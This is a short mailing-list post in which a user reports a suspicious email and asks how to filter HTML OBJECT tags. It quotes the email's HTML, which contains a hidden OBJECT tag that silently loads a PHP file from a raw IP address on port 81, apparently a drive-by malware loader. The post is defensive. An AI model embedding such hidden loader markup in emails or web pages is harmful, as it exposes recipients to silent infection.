Dangerous html tag?

Hi!

I just received a message that contained ActiveX controls, nothing would
show up in Outlook.

I opened the mail and tried to look inside, this is the contents: (I would
*NOT* try the url below on any windows/X browser)

<html><body>
<font  face="System">
<OBJECT STYLE="display:none" DATA="http://68.6.144.228:81/185869.php">
</OBJECT></body></html>

I tried opening the .php file to see what it is (although I have a pretty
good guess) but it failed because my firewall blocked port 81.

Can we ban/kill/modify any such tags or will this ruin every e-mail with
some pictures in it?

Thanks!
Remco
